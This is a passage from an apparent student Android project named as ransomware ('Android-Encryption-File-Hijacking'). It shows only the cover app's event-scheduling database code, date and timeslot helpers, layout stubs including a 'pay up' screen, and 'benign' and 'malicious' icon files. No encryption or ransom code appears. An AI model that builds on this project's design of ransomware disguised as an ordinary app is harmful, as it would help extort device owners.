267 | };
268 |
269 | String[] where = {Integer.toString(eventID)};
270 |
271 | Cursor query = db.query(
272 | DBContract.EventTable.TABLE_NAME,
273 | columns,
274 | "_ID = ?", where , null, null,
275 | null
276 | );
277 |
278 | query.moveToNext();
279 |
280 | String date = query.getString(query.getColumnIndexOrThrow(DBContract.EventTable.COLUMN_NAME_DAY));
281 | String creator = query.getString(query.getColumnIndexOrThrow(DBContract.EventTable.COLUMN_NAME_CREATOR));
282 | String name = query.getString(query.getColumnIndexOrThrow(DBContract.EventTable.COLUMN_NAME_TITLE));
283 | String timeslots = query.getString(query.getColumnIndexOrThrow(DBContract.EventTable.COLUMN_NAME_TIMESLOTS));
284 |
285 | Event returnEvent = new Event(eventID, date, name, creator, timeslots);
286 |
287 |
288 | query.close();
289 |
290 | return returnEvent;
291 | }
292 |
293 | /**
294 | * This method will add a users availability to the signup table
295 | * @param eventID int ID of event
296 | * @param user String username that is signing up
297 | * @param availability Integer List of timeslots
298 | * @return long value of the row in the table that was created
299 | */
300 | public long addSignup(int eventID, String user, List availability) {// TODO create entry in signups table
301 | SQLiteDatabase db = this.getWritableDatabase();
302 |
303 | String avail = HelperMethods.stringifyTimeslotInts(availability);
304 |
305 | ContentValues values = new ContentValues();
306 | values.put(DBContract.SignupTable.COLUMN_NAME_USER, user);
307 | values.put(DBContract.SignupTable.COLUMN_NAME_AVAIL, avail);
308 | values.put(DBContract.SignupTable.COLUMN_NAME_EVENT, eventID);
309 |
310 | return db.insert(DBContract.SignupTable.TABLE_NAME, null, values);
311 | }
312 |
313 | /**
314 | * This method will return a Hashmap of users along with availability for a given event
315 | * @param eventID int ID of event
316 | * @return Hashmap of user keypairs with availability keyvalues
317 | */
318 | public Map getSignups(int eventID) { // TODO return list of signed up users(?) for given event
319 | SQLiteDatabase db = this.getReadableDatabase();
320 | Map userSignup = new HashMap<>();
321 |
322 | String[] columns = {
323 | DBContract.SignupTable.COLUMN_NAME_USER,
324 | DBContract.SignupTable.COLUMN_NAME_AVAIL
325 | };
326 | String[] where = {Integer.toString(eventID)};
327 |
328 | Cursor query = db.query(
329 | DBContract.SignupTable.TABLE_NAME,
330 | columns,
331 | "eid = ?", where, null, null,
332 | null
333 | );
334 |
335 | while (query.moveToNext()) {
336 | userSignup.put(query.getString(query.getColumnIndexOrThrow(DBContract.SignupTable.COLUMN_NAME_USER)),
337 | query.getString(query.getColumnIndexOrThrow(DBContract.SignupTable.COLUMN_NAME_AVAIL)));
338 | }
339 |
340 | return userSignup;
341 | }
342 |
343 | /**
344 | * This method will update a given user's availability for an event.
345 | * @param eventID int ID of event
346 | * @param user String username that is changing availability
347 | * @param availability Integer List of timeslots
348 | * @return int value of the row in the table that was updated
349 | */
350 | public int updateSignup(int eventID, String user, List availability) {
351 | SQLiteDatabase db = this.getWritableDatabase();
352 |
353 | String avail = HelperMethods.stringifyTimeslotInts(availability);
354 |
355 | ContentValues values = new ContentValues();
356 | values.put(DBContract.SignupTable.COLUMN_NAME_AVAIL, avail);
357 |
358 | String selection = DBContract.SignupTable.COLUMN_NAME_USER + " = ? AND " + DBContract.SignupTable.COLUMN_NAME_EVENT + " = ?";
359 | String[] selectionArgs = {user, Integer.toString(eventID)};
360 |
361 | return db.update(
362 | DBContract.SignupTable.TABLE_NAME,
363 | values,
364 | selection,
365 | selectionArgs
366 | );
367 | }
368 |
369 |
370 |
371 | //endregion
372 | }
373 |
--------------------------------------------------------------------------------
/ransom/app/src/main/java/wubbalubbadubdub/hw1700ransomware/data/Event.java:
--------------------------------------------------------------------------------
1 | package wubbalubbadubdub.hw1700ransomware.data;
2 |
3 |
4 | /**
5 | * Event.java
6 | * @author Damian, Lane
7 | * @version 1.0
8 | *
9 | * Event DataType for keeping track of events
10 | */
11 | public class Event implements Comparable {
12 |
13 | private int id;
14 | private String date;
15 | private String name;
16 | private String creator;
17 | private String timeslots;
18 |
19 | /**
20 | * Constructor for an Event. Events will always be constructed this way.
21 | * @param inputID int ID of the event
22 | * @param inputDate String date of format MM/DD/YYYY
23 | * @param inputName String name of the Event Title
24 | * @param inputCreator String name of the Event Creator
25 | * @param inputTimeslots String timeslot list of scheduled timeslots
26 | */
27 | public Event(int inputID, String inputDate, String inputName, String inputCreator, String inputTimeslots) {
28 | id = inputID;
29 | name = inputName;
30 | date = inputDate;
31 | creator = inputCreator;
32 | timeslots = inputTimeslots;
33 | }
34 |
35 | /**
36 | * Allows events to be compared to each other.
37 | * @param otherEvent Event object of event to compare to
38 | * @return int < 0 if given event is later than current event. int = 0 if given event is same day as current. int > 0 otherwise
39 | */
40 | public int compareTo(Event otherEvent) {
41 | int[] currentDate = HelperMethods.getMonthDayYear(date);
42 | int[] otherDate = HelperMethods.getMonthDayYear(otherEvent.getDate());
43 |
44 | if (currentDate[2] == otherDate[2]) {
45 | if (currentDate[0] == otherDate[0]) {
46 | return currentDate[1] - otherDate[1];
47 | } else {
48 | return currentDate[0] - otherDate[0];
49 | }
50 | } else {
51 | return currentDate[2] - otherDate[2];
52 | }
53 | }
54 |
55 | // We will probably not need setters.
56 |
57 | // Getters
58 |
59 | /**
60 | * Getter for the Event ID
61 | * @return int ID
62 | */
63 | public int getID() { return id; }
64 |
65 | /**
66 | * Getter for the Date String
67 | * @return String date of format MM/DD/YYYY
68 | */
69 | public String getDate() {
70 | return date;
71 | }
72 |
73 | /**
74 | * Getter for the Event Name String
75 | * @return String event name
76 | */
77 | public String getName() {
78 | return name;
79 | }
80 |
81 | /**
82 | * Getter for the Event Creator String
83 | * @return String event creator
84 | */
85 | public String getCreator() {
86 | return creator;
87 | }
88 |
89 | /**
90 | * Getter for the Event Schedule String
91 | * @return String of all timeslots for event
92 | */
93 | public String getTimeslots() {
94 | return timeslots;
95 | }
96 |
97 | }
--------------------------------------------------------------------------------
/ransom/app/src/main/java/wubbalubbadubdub/hw1700ransomware/data/HelperMethods.java:
--------------------------------------------------------------------------------
1 | package wubbalubbadubdub.hw1700ransomware.data;
2 |
3 | import java.util.ArrayList;
4 | import java.util.Arrays;
5 | import java.util.Calendar;
6 | import java.util.Collections;
7 | import java.util.List;
8 |
9 | /**
10 | * HelperMethods.java
11 | * @author Lane, Damian
12 | * @version 1.0
13 | * Contains methods used to assist functionality of activities
14 | */
15 | public class HelperMethods {
16 |
17 | /**
18 | * Private constructor so that this class is never initialized
19 | */
20 | private HelperMethods(){}
21 |
22 | /**
23 | * @param timeslot - int from 0-47, represents the 48 30min timeslots from 00:00-23:30
24 | * @param format - True: 24h format | False: 12h format
25 | * @return - A time formatted in either 12h or 24h format.
26 | * @since 1.0
27 | */
28 | public static String toTime(int timeslot, boolean format) {
29 |
30 | int hour;
31 | String min;
32 |
33 | //Convert 0-47 integer format to 12h or 24h format
34 | if (format) hour = timeslot / 2;
35 | else hour = (timeslot >= 26) ? ((timeslot - 24) / 2) : (timeslot / 2);
36 | min = ((timeslot % 2) == 0) ? "00" : "30";
37 | if (!format && (hour == 0)) hour = 12; //Special case: 0(int)->12:00(12h)
38 |
39 | String time = hour + ":" + min; //Build time string
40 | time = (format && (hour < 10)) ? ("0" + time) : time; //Add leading zero if needed in 24h format
41 | if (!format) time = (timeslot < 24) ? time + "am" : time + "pm"; // AM/PM for 12h format
42 |
43 | return time;
44 | }
45 |
46 | /**
47 | * @param month - month of a given date
48 | * @param day - day of a given date
49 | * @param year - year of a given date
50 | * @return a string in MM/DD/YYYY format
51 | * @since 1.0
52 | */
53 | public static String dateToString(int month, int day, int year)
54 | {return (month + "/" + day + "/" + year);}
55 |
56 | /**
57 | * @param date - A date in the string form as created by dateToString()
58 | * @return [0]: month | [1]: day | [2]: year (all ints)
59 | */
60 | /* public static int[] dateSplitString(String date) {
61 | int[] splitDate = {Integer.parseInt(date.substring(0,2)),
62 | Integer.parseInt(date.substring(3,5)),
63 | Integer.parseInt(date.substring(6))};
64 | return splitDate;
65 | }*/
66 |
67 | /**
68 | * @return a string in MM/DD/YYYY format of the current year
69 | * @since 1.0
70 | */
71 | public static int[] getCurrentDate() {
72 | Calendar cal = Calendar.getInstance();
73 | int month = cal.get(Calendar.MONTH);
74 | int day = cal.get(Calendar.DAY_OF_MONTH);
75 | int year = cal.get(Calendar.YEAR);
76 | int[] date = {month, day, year};
77 | return date;
78 | }
79 |
80 | /**
81 | * Converts List of timeslots to a readable integer string
82 | * @param timeslots - list of timeslots in integer form
83 | * @param format - 12h/24h format boolean
84 | * @return concatenated string of timeslot list
85 | */
86 | public static String getTimeString(List timeslots, boolean format) {
87 | // Sort it
88 | Collections.sort(timeslots);
89 |
90 | String timestring = "";
91 |
92 | int prevTime = -1;
93 | int workingTimeslot = -1;
94 | for(Integer slot : timeslots) {
95 | if (workingTimeslot == -1) {// First iteration
96 | workingTimeslot = slot;
97 | } else if (slot != prevTime + 1) {
98 | // Make time with workingtimeslot and prevTime
99 | timestring = timestring + toTime(workingTimeslot, format) + "-" + toTime(prevTime + 1, format) + ", ";
100 | workingTimeslot = slot;
101 | }
102 | prevTime = slot;
103 | }
104 | if (workingTimeslot != -1) {
105 | // At the end finish out the working slot.
106 | timestring = timestring + toTime(workingTimeslot, format) + "-" + toTime((prevTime + 1) % 48, format);
107 | }
108 | if (workingTimeslot == 0 && prevTime == 47) timestring = "ALL DAY LONG";
109 |
110 | if (timestring.isEmpty()) timestring = "NOT AVAILABLE AT ALL";
111 |
112 | return timestring;
113 | }
114 |
115 |
116 | /**
117 | * Counterpart to listifyTimeslotInts (list->String)
118 | * @param timeslotInts - List of timeslots in integer form
119 | * @return comma separated list of timeslots as a String for storage in db
120 | */
121 | public static String stringifyTimeslotInts(List timeslotInts) {
122 | //Build string -- will look like "0,1,2,4,5" for example
123 | String stringList = "";
124 | for (Integer slot : timeslotInts)
125 | stringList += (timeslotInts.indexOf(slot) != (timeslotInts.size() - 1)) ? (slot + ",") : slot;
126 | return stringList;
127 | }
128 |
129 | /**
130 | * Counterpart to stringifyTimeslotInts (String->list)
131 | * @param timeslotString - comma separated String list formatted for storage in db
132 | * @return List of timeslots in integer form
133 | */
134 | public static List listifyTimeslotInts(String timeslotString) {
135 | List timeslotStrs = new ArrayList<>();
136 | List timeslotInts = new ArrayList<>();
137 |
138 | timeslotStrs = Arrays.asList(timeslotString.split("\\s*,\\s*")); //Regex to interpret CSVs
139 | if (!timeslotString.isEmpty()) {
140 | for (String slot : timeslotStrs) timeslotInts.add(Integer.parseInt(slot));
141 | }
142 |
143 | return timeslotInts;
144 | }
145 |
146 | /**
147 | * Conversion of event strings to integer values
148 | * @param eventDateString String date of format MM/DD/YYYY
149 | * @return Int array with index 0 = month, 1 = day, 2 = year
150 | */
151 | public static int[] getMonthDayYear(String eventDateString) {
152 | String[] mmddyyyy = eventDateString.split("/");
153 |
154 | int[] returnArray = {Integer.parseInt(mmddyyyy[0]), Integer.parseInt(mmddyyyy[1]), Integer.parseInt(mmddyyyy[2])};
155 |
156 | return returnArray;
157 | }
158 |
159 | }
160 |
--------------------------------------------------------------------------------
/ransom/app/src/main/res/color/textcolor2.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/ransom/app/src/main/res/layout/activity_add_event.xml:
--------------------------------------------------------------------------------
1 |
2 |
10 |
11 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
34 |
35 |
44 |
45 |
56 |
57 |
74 |
75 |
88 |
89 |
105 |
106 |
121 |
122 |
123 |
135 |
136 |
150 |
151 |
163 |
164 |
176 |
177 |
188 |
189 |
201 |
202 |
203 |
204 |
205 |
206 |
207 |
208 |
--------------------------------------------------------------------------------
/ransom/app/src/main/res/layout/activity_list.xml:
--------------------------------------------------------------------------------
1 |
2 |
11 |
12 |
24 |
25 |
36 |
37 |
48 |
49 |
60 |
61 |
70 |
71 |
74 |
75 |
81 |
82 |
83 |
84 |
97 |
98 |
--------------------------------------------------------------------------------
/ransom/app/src/main/res/layout/activity_pay_up.xml:
--------------------------------------------------------------------------------
1 |
2 |
8 |
9 |
12 |
22 |
23 |
25 |
30 |
31 |
40 |
41 |
42 |
43 |
48 |
49 |
59 |
60 |
70 |
71 |
80 |
81 |
102 |
103 |
114 |
115 |
127 |
128 |
129 |
130 |
131 |
132 |
--------------------------------------------------------------------------------
/ransom/app/src/main/res/layout/activity_select_user.xml:
--------------------------------------------------------------------------------
1 |
2 |
10 |
11 |
22 |
23 |
40 |
41 |
53 |
54 |
65 |
66 |
77 |
78 |
79 |
--------------------------------------------------------------------------------
/ransom/app/src/main/res/layout/activity_view.xml:
--------------------------------------------------------------------------------
1 |
2 |
8 |
9 |
19 |
20 |
31 |
32 |
43 |
44 |
45 |
57 |
58 |
70 |
71 |
83 |
84 |
98 |
99 |
113 |
114 |
117 |
118 |
127 |
128 |
134 |
135 |
139 |
140 |
141 |
142 |
143 |
144 |
145 |
158 |
159 |
160 |
--------------------------------------------------------------------------------
/ransom/app/src/main/res/mipmap-hdpi/ic_benign_icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lanegramling/Android-Encryption-File-Hijacking/cd7d852df6972e1fc1ce8f21758cd5285b60b8b8/ransom/app/src/main/res/mipmap-hdpi/ic_benign_icon.png
--------------------------------------------------------------------------------
/ransom/app/src/main/res/mipmap-hdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lanegramling/Android-Encryption-File-Hijacking/cd7d852df6972e1fc1ce8f21758cd5285b60b8b8/ransom/app/src/main/res/mipmap-hdpi/ic_launcher.png
--------------------------------------------------------------------------------
/ransom/app/src/main/res/mipmap-hdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lanegramling/Android-Encryption-File-Hijacking/cd7d852df6972e1fc1ce8f21758cd5285b60b8b8/ransom/app/src/main/res/mipmap-hdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/ransom/app/src/main/res/mipmap-hdpi/ic_malicious_icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lanegramling/Android-Encryption-File-Hijacking/cd7d852df6972e1fc1ce8f21758cd5285b60b8b8/ransom/app/src/main/res/mipmap-hdpi/ic_malicious_icon.png
--------------------------------------------------------------------------------
/ransom/app/src/main/res/mipmap-mdpi/ic_benign_icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lanegramling/Android-Encryption-File-Hijacking/cd7d852df6972e1fc1ce8f21758cd5285b60b8b8/ransom/app/src/main/res/mipmap-mdpi/ic_benign_icon.png
--------------------------------------------------------------------------------
/ransom/app/src/main/res/mipmap-mdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lanegramling/Android-Encryption-File-Hijacking/cd7d852df6972e1fc1ce8f21758cd5285b60b8b8/ransom/app/src/main/res/mipmap-mdpi/ic_launcher.png
--------------------------------------------------------------------------------
/ransom/app/src/main/res/mipmap-mdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lanegramling/Android-Encryption-File-Hijacking/cd7d852df6972e1fc1ce8f21758cd5285b60b8b8/ransom/app/src/main/res/mipmap-mdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/ransom/app/src/main/res/mipmap-mdpi/ic_malicious_icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lanegramling/Android-Encryption-File-Hijacking/cd7d852df6972e1fc1ce8f21758cd5285b60b8b8/ransom/app/src/main/res/mipmap-mdpi/ic_malicious_icon.png
--------------------------------------------------------------------------------
/ransom/app/src/main/res/mipmap-xhdpi/ic_benign_icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lanegramling/Android-Encryption-File-Hijacking/cd7d852df6972e1fc1ce8f21758cd5285b60b8b8/ransom/app/src/main/res/mipmap-xhdpi/ic_benign_icon.png
--------------------------------------------------------------------------------
/ransom/app/src/main/res/mipmap-xhdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lanegramling/Android-Encryption-File-Hijacking/cd7d852df6972e1fc1ce8f21758cd5285b60b8b8/ransom/app/src/main/res/mipmap-xhdpi/ic_launcher.png
--------------------------------------------------------------------------------
/ransom/app/src/main/res/mipmap-xhdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lanegramling/Android-Encryption-File-Hijacking/cd7d852df6972e1fc1ce8f21758cd5285b60b8b8/ransom/app/src/main/res/mipmap-xhdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/ransom/app/src/main/res/mipmap-xhdpi/ic_malicious_icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lanegramling/Android-Encryption-File-Hijacking/cd7d852df6972e1fc1ce8f21758cd5285b60b8b8/ransom/app/src/main/res/mipmap-xhdpi/ic_malicious_icon.png
--------------------------------------------------------------------------------
/ransom/app/src/main/res/mipmap-xxhdpi/ic_benign_icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lanegramling/Android-Encryption-File-Hijacking/cd7d852df6972e1fc1ce8f21758cd5285b60b8b8/ransom/app/src/main/res/mipmap-xxhdpi/ic_benign_icon.png
--------------------------------------------------------------------------------
/ransom/app/src/main/res/mipmap-xxhdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lanegramling/Android-Encryption-File-Hijacking/cd7d852df6972e1fc1ce8f21758cd5285b60b8b8/ransom/app/src/main/res/mipmap-xxhdpi/ic_launcher.png
--------------------------------------------------------------------------------
/ransom/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lanegramling/Android-Encryption-File-Hijacking/cd7d852df6972e1fc1ce8f21758cd5285b60b8b8/ransom/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/ransom/app/src/main/res/mipmap-xxhdpi/ic_malicious_icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lanegramling/Android-Encryption-File-Hijacking/cd7d852df6972e1fc1ce8f21758cd5285b60b8b8/ransom/app/src/main/res/mipmap-xxhdpi/ic_malicious_icon.png
--------------------------------------------------------------------------------
/ransom/app/src/main/res/mipmap-xxxhdpi/ic_benign_icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lanegramling/Android-Encryption-File-Hijacking/cd7d852df6972e1fc1ce8f21758cd5285b60b8b8/ransom/app/src/main/res/mipmap-xxxhdpi/ic_benign_icon.png
--------------------------------------------------------------------------------
/ransom/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lanegramling/Android-Encryption-File-Hijacking/cd7d852df6972e1fc1ce8f21758cd5285b60b8b8/ransom/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png
--------------------------------------------------------------------------------
/ransom/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lanegramling/Android-Encryption-File-Hijacking/cd7d852df6972e1fc1ce8f21758cd5285b60b8b8/ransom/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/ransom/app/src/main/res/mipmap-xxxhdpi/ic_malicious_icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lanegramling/Android-Encryption-File-Hijacking/cd7d852df6972e1fc1ce8f21758cd5285b60b8b8/ransom/app/src/main/res/mipmap-xxxhdpi/ic_malicious_icon.png
--------------------------------------------------------------------------------
/ransom/app/src/main/res/values/attrs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/ransom/app/src/main/res/values/colors.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | #ee98ff
4 | #303F9F
5 | #f22626
6 |
7 | #6637eef4
8 |
9 |
--------------------------------------------------------------------------------
/ransom/app/src/main/res/values/strings.xml:
--------------------------------------------------------------------------------
1 |
2 | EECS448Project1
3 |
4 | PayUp
5 | Dummy Button
6 | DUMMY\nCONTENT
7 |
8 |
--------------------------------------------------------------------------------
/ransom/app/src/main/res/values/styles.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
7 |
8 |
15 |
16 |
19 |
20 |
21 |
--------------------------------------------------------------------------------
/ransom/app/src/test/java/wubbalubbadubdub/hw1700ransomware/ExampleUnitTest.java:
--------------------------------------------------------------------------------
1 | package wubbalubbadubdub.hw1700ransomware;
2 |
3 | import org.junit.Test;
4 |
5 | import static org.junit.Assert.*;
6 |
7 | /**
8 | * Example local unit test, which will execute on the development machine (host).
9 | *
10 | * @see Testing documentation
11 | */
12 | public class ExampleUnitTest {
13 | @Test
14 | public void addition_isCorrect() throws Exception {
15 | assertEquals(4, 2 + 2);
16 | }
17 | }
--------------------------------------------------------------------------------